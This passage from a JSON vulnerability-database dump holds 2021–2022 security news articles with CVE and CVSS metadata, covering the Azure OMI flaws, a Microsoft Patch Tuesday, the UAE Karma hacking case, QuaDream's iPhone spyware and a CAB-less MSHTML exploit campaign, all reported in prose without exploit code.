RCE possible,\u201d Ohfeld explained. \u201cNote that most Azure services that use OMI deploy it without exposing the HTTPS port.\u201d\n\nCalling the bug \u201ca textbook RCE vulnerability that you would expect to see in the 90s\u201d not in 2021, the flaw can expose millions of endpoints because \u201can attacker could use a single packet to become root on a remote machine by simply removing the authentication header,\u201d Ohfeld wrote.\n\n\u201cThanks to the combination of a simple conditional statement coding mistake and an uninitialized auth struct, any request without an Authorization header has its privileges default to uid=0, gid=0, which is root,\u201d he explained.\n\nIn situations where the OMI ports are accessible to the internet to allow for remote management, threat actors can use the vulnerability co-obtain initial access to a target Azure environment and then move laterally within it, Ohfeld added.\n\n\u201cAn exposed HTTPS port is the holy grail for malicious actors,\u201d he observed. \u201cWith one simple exploit they can get access to new targets, execute commands at the highest privileges and possibly spread to new target machines.\u201d\n\nThe other three flaws\u2014with severity ratings that range from 7.1 to 7.8\u2014can be used as part of attack chains once attackers gain initial low-privileged access to their targets, Ohfeld added.\n\n## **Threat Discovery and Mitigations**\n\nWiz researchers reported the four vulnerabilities to Microsoft through the responsible disclosure process; the company patched them as of Tuesday, researchers said.\n\nUpgrading OMI and thus patch installation happens through the parent Azure service that installed it, they added. \u201cHowever, we urge customers to verify that their environment is indeed patched and they are running the latest version of OMI (Version 1.6.8.1),\u201d Ohfeld wrote.\n\nDifferent Azure services have different port numbers, Microsoft noted in its advisory for CVE-2021-38647. However, for customers who want to check that their Azure Linux Node does not have an exposed port, they should look for the command \u2018_netstat -an | grep <port-number>_\u2018 on most Linux distributions, which will indicate if any processes are listening on an open port, the company said.\n\n**Rule #1 of Linux Security: **No cybersecurity solution is viable if you don\u2019t have the basics down. **[JOIN](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>)** Threatpost and Linux security pros at Uptycs for a LIVE roundtable on the **[4 Golden Rules of Linux Security](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>)**. Your top takeaway will be a Linux roadmap to getting the basics right! **[REGISTER NOW](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>) **and join the **LIVE event on Sept. 29 at Noon EST**. Joining Threatpost is Uptycs\u2019 Ben Montour and Rishi Kant who will spell out Linux security best practices and take your most pressing questions in real time.\n", "cvss3": {}, "published": "2021-09-16T11:37:48", "type": "threatpost", "title": "Azure Zero-Day Bugs Show Lurking Supply-Chain Risk", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649"], "modified": "2021-09-16T11:37:48", "id": "THREATPOST:FD28EAD589B45A1A4A7412632B25CEAB", "href": "https://threatpost.com/azure-zero-day-supply-chain/169508/", "cvss": {"score": 0.0, "vector": "NONE"}}], "thn": [{"lastseen": "2022-05-09T12:37:18", "description": "[![](https://thehackernews.com/images/-n2LTDkSYrUk/YUF8P0ggXPI/AAAAAAAADzE/Jk_5Hbl3Sf4AUwjPizqDaRZLrxWgrDizgCLcBGAsYHQ/s0/windows-update-download.jpg)](<https://thehackernews.com/images/-n2LTDkSYrUk/YUF8P0ggXPI/AAAAAAAADzE/Jk_5Hbl3Sf4AUwjPizqDaRZLrxWgrDizgCLcBGAsYHQ/s0/windows-update-download.jpg>)\n\nA day after [Apple](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>) and [Google](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) rolled out urgent security updates, Microsoft has [pushed software fixes](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Sep>) as part of its monthly Patch Tuesday release cycle to plug 66 security holes affecting Windows and other components such as Azure, Office, BitLocker, and Visual Studio, including an [actively exploited zero-day](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) in its MSHTML Platform that came to light last week. \n\nOf the 66 flaws, three are rated Critical, 62 are rated Important, and one is rated Moderate in severity. This is aside from the [20 vulnerabilities](<https://docs.microsoft.com/en-us/deployedge/microsoft-edge-relnotes-security>) in the Chromium-based Microsoft Edge browser that the company addressed since the start of the month.\n\nThe most important of the updates concerns a patch for [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>) (CVSS score: 8.8), an actively exploited remote code execution vulnerability in MSHTML that leverages malware-laced Microsoft Office documents, with EXPMON researchers noting \"the exploit uses logical flaws so the exploitation is perfectly reliable.\"\n\nAlso addressed is a publicly disclosed, but not actively exploited, zero-day flaw in Windows DNS. Designated as [CVE-2021-36968](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36968>), the elevation of privilege vulnerability is rated 7.8 in severity.\n\nOther flaws of note resolved by Microsoft involve a number of remote code execution bugs in Open Management Infrastructure ([CVE-2021-38647](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38647>)), Windows WLAN AutoConfig Service ([CVE-2021-36965](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36965>)), Office ([CVE-2021-38659](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38659>)), Visual Studio ([CVE-2021-36952](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36952>)), and Word ([CVE-2021-38656](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38656>)) as well as a memory corruption flaw in Windows Scripting Engine ([CVE-2021-26435](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26435>))\n\nWhat's more, the Windows maker has rectified three privilege escalation flaws newly uncovered in its Print Spooler service ([CVE-2021-38667](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38667>), [CVE-2021-38671](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38671>), and [CVE-2021-40447](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40447>)), while [CVE-2021-36975](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36975>) and [CVE-2021-38639](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38639>) (CVSS scores: 7.8), both of which relate to an elevation of privilege vulnerabilities in Win32k, are listed as 'exploitation more likely,' making it imperative that users move quickly to apply the security updates.\n\n### Software Patches From Other Vendors\n\nBesides Microsoft, patches have also been released by a number of other vendors to address several vulnerabilities, including -\n\n * [Adobe](<https://helpx.adobe.com/security.html/security/security-bulletin.ug.html>)\n * [Android](<https://source.android.com/security/bulletin/2021-09-01>)\n * [Apple](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>)\n * [Cisco](<https://tools.cisco.com/security/center/publicationListing.x>)\n * [Citrix](<https://support.citrix.com/search/#/All%20Products?ct=Software%20Updates,Security%20Bulletins&searchText=&sortBy=Modified%20date&pageIndex=1>)\n * Linux distributions [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=2&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=Errata>), and [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2021-September/thread.html>)\n * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=585106405>)\n * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/overview.jsp>), and\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>)\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T05:00:00", "type": "thn", "title": "Microsoft Releases Patch for Actively Exploited Windows Zero-Day Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26435", "CVE-2021-36952", "CVE-2021-36965", "CVE-2021-36968", "CVE-2021-36975", "CVE-2021-38639", "CVE-2021-38647", "CVE-2021-38656", "CVE-2021-38659", "CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40444", "CVE-2021-40447"], "modified": "2021-09-15T05:00:22", "id": "THN:67ECC712AB360F5A56F2434CDBF6B51F", "href": "https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:18", "description": "[![UAE Company](https://thehackernews.com/images/-wXU6Ao112oQ/YUHS9ZYKUgI/AAAAAAAADzM/8Ffb9-BFlCk8zVYCFLRjdkMHIGmvJhshACLcBGAsYHQ/s728-e1000/HACKING.jpg)](<https://thehackernews.com/images/-wXU6Ao112oQ/YUHS9ZYKUgI/AAAAAAAADzM/8Ffb9-BFlCk8zVYCFLRjdkMHIGmvJhshACLcBGAsYHQ/s0/HACKING.jpg>)\n\nThe U.S. Department of Justice (DoJ) on Tuesday disclosed it fined three intelligence community and military personnel $1.68 million in penalties for their role as cyber-mercenaries working on behalf of a U.A.E.-based cybersecurity company.\n\nThe trio in question \u2014 Marc Baier, 49, Ryan Adams, 34, and Daniel Gericke, 40 \u2014 are accused of \"knowingly and willfully combine, conspire, confederate, and agree with each other to commit offenses, \"furnishing defense services to persons and entities in the country over a three year period beginning around December 2015 and continuing through November 2019, including developing invasive spyware capable of breaking into mobile devices without any action by the targets.\n\n\"The defendants worked as senior managers at a United Arab Emirates (U.A.E.)-based company (U.A.E. CO) that supported and carried out computer network exploitation (CNE) operations (i.e., 'hacking') for the benefit of the U.A.E. government,\" the DoJ [said](<https://www.justice.gov/opa/pr/three-former-us-intelligence-community-and-military-personnel-agree-pay-more-168-million>) in a statement.\n\n\"Despite being informed on several occasions that their work for [the] U.A.E. CO, under the International Traffic in Arms Regulations (ITAR), constituted a 'defense service' requiring a license from the State Department's Directorate of Defense Trade Controls (DDTC), the defendants proceeded to provide such services without a license.\"\n\nBesides charging the individuals for violations of U.S. export control, computer fraud and access device fraud laws, the hackers-for-hire are alleged to have supervised the creation of sophisticated 'zero-click' exploits that were subsequently weaponized to illegally amass credentials for online accounts issued by U.S. companies, and to obtain unauthorized access to mobile phones around the world.\n\nThe development follows a prior investigation by Reuters in 2019, which revealed how former U.S. National Security Agency (NSA) operatives helped the U.A.E. surveil prominent Arab media figures, dissidents, and several unnamed U.S. journalists as part of a clandestine operation dubbed [Project Raven](<https://www.reuters.com/investigates/section/usa-raven/>) undertaken by a cybersecurity company named **DarkMatter**. The company's propensity to recruit \"[cyberwarriors from abroad](<https://theintercept.com/2016/10/24/darkmatter-united-arab-emirates-spies-for-hire/>)\" to research offensive security techniques first came to light in 2016.\n\nThe deep-dive report also detailed a zero-click exploit called Karma that made it possible to remotely hack into iPhones of activists, diplomats and rival foreign leaders \"simply by uploading phone numbers or email accounts into an automated targeting system.\" The sophisticated tool was used to retrieve photos, emails, text messages and location information from the victims' phones as well as harvest saved passwords, which could be abused to stage further intrusions.\n\nAccording to unsealed court documents, Baier, Adams and Gericke designed, implemented, and used Karma for foreign intelligence gathering purposes starting in May 2016 after obtaining an exploit from an unnamed U.S. company that granted zero-click remote access to Apple devices. But after the underlying security weakness was plugged in September, the defendants allegedly contacted another U.S. firm to acquire a second exploit that utilized a different vulnerability in iOS, ultimately using it to rearchitect and modify the Karma exploitation toolkit.\n\nThe charges also arrive a day after Apple [divulged](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>) that it acted to close a zero-day vulnerability (CVE-2021-30860) exploited by NSO Group's Pegasus spyware to target activists in Bahrain and Saudi Arabia.\n\n\"The FBI will fully investigate individuals and companies that profit from illegal criminal cyber activity,\" said Assistant Director Bryan Vorndran of the FBI's Cyber Division. \"This is a clear message to anybody, including former U.S. government employees, who had considered using cyberspace to leverage export-controlled information for the benefit of a foreign government or a foreign commercial company \u2013 there is risk, and there will be consequences.\"\n\n**_Update:_** A new report from MIT Technology Review has now revealed that the vulnerability that the KARMA platform leveraged to take full control of a target's iPhone was in Apple's iMessage app and that the exploit was developed and sold by an American company named Accuvant, which has since merged with Optiv.\n\n\"Accuvant sold hacking exploits to multiple customers in both governments and the private sector, including the United States and its allies \u2014 and this exact iMessage exploit was also sold simultaneously to multiple other customers,\" the report [said](<https://www.technologyreview.com/2021/09/15/1035813/us-sold-iphone-exploit-uae/>).\n\nIn a separate development, VPN provider ExpressVPN said it was aware of Daniel Gericke's previous employment before hiring him. Gericke, who is currently the Chief Information Officer at the company, is one the three individuals who have been implicated for their unlicensed work as mercenary hackers directing U.A.E.-funded intrusion campaigns.\n\n\"We've known the key facts relating to Daniel's employment history since before we hired him, as he disclosed them proactively and transparently with us from the start,\" the company [said](<https://www.expressvpn.com/blog/statement-on-dpa/>) in a statement. \"In fact, it was his history and expertise that made him an invaluable hire for our mission to protect users' privacy and security.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-15T11:03:00", "type": "thn", "title": "3 Former U.S. Intelligence Officers Admit to Hacking for UAE Company", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30860"], "modified": "2021-09-16T05:03:29", "id": "THN:3691EA68445933ED72DD1B52F712F791", "href": "https://thehackernews.com/2021/09/3-former-us-intelligence-officers-admit.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:36", "description": "[![Weaponizing iPhone Bug for Spyware](https://thehackernews.com/new-images/img/a/AVvXsEh3TPKLg1hzNepKY2F1EdKmCpaHrcAUG9Nn6hJVDlrM4nXTEWXpqUnXEJ64FAumNDQUssibvY7ImZBz3iB3aqxCsYh_HuDr4ufd56aYQQv_Tdz0QCf4S-cwiQ6xFCMw-lcMG13U8360IHMqN3rAdQkA5liqwCnHgdZfTeh39gVBvfieTaBOAn9awulf=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEh3TPKLg1hzNepKY2F1EdKmCpaHrcAUG9Nn6hJVDlrM4nXTEWXpqUnXEJ64FAumNDQUssibvY7ImZBz3iB3aqxCsYh_HuDr4ufd56aYQQv_Tdz0QCf4S-cwiQ6xFCMw-lcMG13U8360IHMqN3rAdQkA5liqwCnHgdZfTeh39gVBvfieTaBOAn9awulf>)\n\nA now-patched security vulnerability in Apple iOS that was previously found to be exploited by Israeli company NSO Group was also separately weaponized by a different surveillance vendor named **QuaDream **to hack into the company's devices.\n\nThe development was reported by [Reuters](<https://www.reuters.com/technology/exclusive-iphone-flaw-exploited-by-second-israeli-spy-firm-sources-2022-02-03/>), citing unnamed sources, noting that \"the two rival businesses gained the same ability last year to remotely break into iPhones [and] compromise Apple phones without an owner needing to open a malicious link.\"\n\nThe zero-click exploit in question is [FORCEDENTRY](<https://thehackernews.com/2021/08/bahraini-activists-targeted-using-new.html>), a flaw in iMessage that could be leveraged to [circumvent iOS security protections](<https://thehackernews.com/2021/01/google-uncovers-new-ios-security.html>) and install spyware that allowed attackers to scoop up a wealth of information such as contacts, emails, files, messages, and photos, as well as access to the phone's camera and microphone.\n\nGoogle Project Zero, which studies zero-day vulnerabilities in hardware and software systems such as operating systems, web browsers, and open source libraries, [called](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>) FORCEDENTRY (CVE-2021-30860, CVSS score: 7.8) \"one of the most technically sophisticated exploits.\"\n\nQuaDream's spyware, named **REIGN**, functions in a manner similar to NSO Group's Pegasus, granting its users full control of the device. Apple [addressed](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>) the underlying defect in September 2021 and later sued NSO Group for [abusing the exploit](<https://thehackernews.com/2021/07/new-leak-reveals-abuse-of-pegasus.html>) to attack iPhones with surveillanceware.\n\nThe disclosure comes as The New York Times [released](<https://www.nytimes.com/2022/01/28/magazine/nso-group-israel-spyware.html>) an [eye-opening report](<https://www.nytimes.com/2022/01/28/world/middleeast/israel-pegasus-spyware.html>) late last month highlighting the use of Pegasus by the Central Intelligence Agency (CIA) to help combat terrorism in Djibouti as well as its purchase by a number of countries, including [India](<https://www.thehindu.com/news/national/indian-intelligence-service-bought-pegasus-from-israel-coordinated-with-mossad-nyt-reporter/article38364766.ece>), Mexico, Saudi Arabia, and the U.A.E.\n\nThe yearlong investigation also revealed that the U.S. Federal Bureau of Investigation (FBI) \"bought and tested NSO software for years with plans to use it for domestic surveillance until the agency finally decided last year not to deploy the tools.\"\n\nOn top of that, the new system, dubbed Phantom, is believed to have been equipped with capabilities to target phone numbers located in the U.S., going against the [company's previous claims](<https://thehackernews.com/2021/12/pegasus-spyware-reportedly-hacked.html>) that its spyware cannot be used on phone numbers with a +1 country code.\n\nEarlier this week, the FBI [confirmed](<https://www.washingtonpost.com/technology/2022/02/02/pegasus-fbi-nso-test/>) to The Washington Post that it had indeed procured a license to use the tool and test its capabilities on phones using foreign SIM cards. However, the agency added that it used the product \"for product testing and evaluation only,\" and that it never used it operationally or to support any investigation.\n\nNSO Group, which was also [blocklisted by the U.S. government](<https://thehackernews.com/2021/11/us-sanctions-pegasus-maker-nso-group.html>) in November 2021, has been besieged by numerous setbacks in recent months, what with its spyware linked to numerous instances of political surveillance targeting diplomats and government officials in [Finland](<https://um.fi/current-affairs/-/asset_publisher/gc654PySnjTX/content/ulkoministerio-on-saanut-selvitettya-siihen-kohdistuneen-vakoilutapauksen>), [Poland](<https://apnews.com/article/technology-business-middle-east-elections-europe-c16b2b811e482db8fbc0bbc37c00c5ab>), and [the U.S](<https://thehackernews.com/2021/12/pegasus-spyware-reportedly-hacked.html>).\n\n\"The continuous revelations around the advanced spyware programs over the last year show the world just how much development is behind sophisticated mobile attacks,\" said Richard Melick, director of product strategy at Zimperium. \"These attacks are not just one vulnerability and exploit; they encompass fully developed toolsets designed to deliver the most effective spyware for its customers coming from known and unknown organizations.\"\n\n\"While lacking advanced threat detection solutions, the mobile phone's continuous connections with personal and critical data systems make it a lucrative target for any malicious organization and its customers,\" Melick added.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-02-04T11:52:00", "type": "thn", "title": "Another Israeli Firm, QuaDream, Caught Weaponizing iPhone Bug for Spyware", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30860"], "modified": "2022-02-06T05:23:57", "id": "THN:E72737D2B8E842D4AB9BD4F993737BD9", "href": "https://thehackernews.com/2022/02/another-israeli-firm-quadream-caught.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:47", "description": "[![Microsoft MSHTML RCE](https://thehackernews.com/new-images/img/a/AVvXsEgA-QKrMYatN3F_M4-v7x9HM6nvdPD1OS7NKKkIRgnsnSvlLAXRgr6hsKEZ00atwgnoL5cprjlDTBz9OCZqP7C83Y62uK7Zhq5VsgW8BYehEgXjsimQXbNn7rdTOaC96Glv7wizMuFukmGaa6Uo3KZH5Wejk3G_0r9eLqZqjNOspdt5uUMkJ6gyxsw8=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEgA-QKrMYatN3F_M4-v7x9HM6nvdPD1OS7NKKkIRgnsnSvlLAXRgr6hsKEZ00atwgnoL5cprjlDTBz9OCZqP7C83Y62uK7Zhq5VsgW8BYehEgXjsimQXbNn7rdTOaC96Glv7wizMuFukmGaa6Uo3KZH5Wejk3G_0r9eLqZqjNOspdt5uUMkJ6gyxsw8>)\n\nA short-lived phishing campaign has been observed taking advantage of a novel exploit that bypassed a patch put in place by Microsoft to fix a remote code execution vulnerability affecting the MSHTML component with the goal of delivering Formbook malware.\n\n\"The attachments represent an escalation of the attacker's abuse of the CVE-2021-40444 bug and demonstrate that even a patch can't always mitigate the actions of a motivated and sufficiently skilled attacker,\" SophosLabs researchers Andrew Brandt and Stephen Ormandy [said](<https://news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/>) in a new report published Tuesday.\n\n[CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>) (CVSS score: 8.8) relates to a remote code execution flaw in MSHTML that could be exploited using specially crafted Microsoft Office documents. Although Microsoft addressed the security weakness as part of its September 2021 [Patch Tuesday updates](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>), it has been put to use in [multiple attacks](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) ever since details pertaining to the flaw became public.\n\nThat same month, the technology giant [uncovered](<https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html>) a targeted phishing campaign that leveraged the vulnerability to deploy Cobalt Strike Beacons on compromised Windows systems. Then in November, SafeBreach Labs [reported](<https://thehackernews.com/2021/11/hackers-using-microsoft-mshtml-flaw-to.html>) details of an Iranian threat actor operation that targeted Farsi-speaking victims with a new PowerShell-based information stealer designed to gather sensitive information.\n\nThe new campaign discovered by Sophos aims to get around the patch's protection by morphing a publicly available [proof-of-concept Office exploit](<https://github.com/Edubr2020/CVE-2021-40444--CABless/blob/main/MS_Windows_CVE-2021-40444%20-%20'Ext2Prot'%20Vulnerability%20'CABless'%20version.pdf>) and weaponizing it to distribute Formbook malware. The cybersecurity firm said the success of the attack can, in part, be attributed to a \"too-narrowly focused patch.\"\n\n[![Microsoft MSHTML RCE](https://thehackernews.com/new-images/img/a/AVvXsEgASEZ8KvlSBJz1x7Q76isjFrCp75Cd_9NaVZvtMfqRufKRIArSQn1kxLXk86-Tc0o12JfC_n6X-nPIvoEO3JsIgDQ7_PAcEYpeiqvhKofLuQ_e7qZik3FJ-7KTq5CGjh3R7RDATGz4b_HmeYkqXa4dKpvAvSXu-47iGQrPd2IjnRxR4klHyplckGLB=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEgASEZ8KvlSBJz1x7Q76isjFrCp75Cd_9NaVZvtMfqRufKRIArSQn1kxLXk86-Tc0o12JfC_n6X-nPIvoEO3JsIgDQ7_PAcEYpeiqvhKofLuQ_e7qZik3FJ-7KTq5CGjh3R7RDATGz4b_HmeYkqXa4dKpvAvSXu-47iGQrPd2IjnRxR4klHyplckGLB>)\n\n\"In the initial versions of CVE-2021-40444 exploits, [the] malicious Office document retrieved a malware payload packaged into a Microsoft Cabinet (or .CAB) file,\" the researchers explained. \"When Microsoft's patch closed that loophole, attackers discovered they could use a different attack chain altogether by enclosing the maldoc in a specially crafted RAR archive.\"\n\n**CAB-less 40444**, as the modified exploit is called, lasted for 36 hours between October 24 and 25, during which spam emails containing a malformed RAR archive file were sent to potential victims. The RAR file, in turn, included a script written in Windows Script Host ([WSH](<https://en.wikipedia.org/wiki/Windows_Script_Host>)) and a Word Document that, upon opening, contacted a remote server hosting malicious JavaScript.\n\nConsequently, the JavaScript code utilized the Word Document as a conduit to launch the WSH script and execute an embedded PowerShell command in the RAR file to retrieve the [Formbook](<https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook>) malware payload from an attacker-controlled website.\n\nAs for why the exploit disappeared a little over a day in use, clues lie in the fact that the modified RAR archive files wouldn't work with older versions of the WinRAR utility. \"So, unexpectedly, in this case, users of the much older, outdated version of WinRAR would have been better protected than users of the latest release,\" the researchers said.\n\n\"This research is a reminder that patching alone cannot protect against all vulnerabilities in all cases,\" SophosLabs Principal Researcher Andrew Brandt said. \"Setting restrictions that prevent a user from accidentally triggering a malicious document helps, but people can still be lured into clicking the 'enable content' button.\"\n\n\"It is therefore vitally important to educate employees and remind them to be suspicious of emailed documents, especially when they arrive in unusual or unfamiliar compressed file formats from people or companies they don't know,\" Brandt added. When reached for a response, a Microsoft spokesperson said \"we are investigating these reports and will take appropriate action as needed to help keep customers protected.\"\n\n**_Update:_** Microsoft told The Hacker News that the aforementioned exploit was indeed addressed with security updates that were released in September 2021. Sophos now notes that the CAB-less 40444 exploit \"may have evaded mitigations of CVE-2021-40444 without the September patch focused on the CAB-style attack\" and that the patch blocks the malicious behavior.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-22T07:45:00", "type": "thn", "title": "New Exploit Lets Malware Attackers Bypass Patch for Critical Microsoft MSHTML Flaw", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-29T03:33:40", "id": "THN:8A60310AB796B7372A105B7C8811306B", "href": "https://thehackernews.com/2021/12/new-exploit-lets-malware-attackers.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:04", "description": 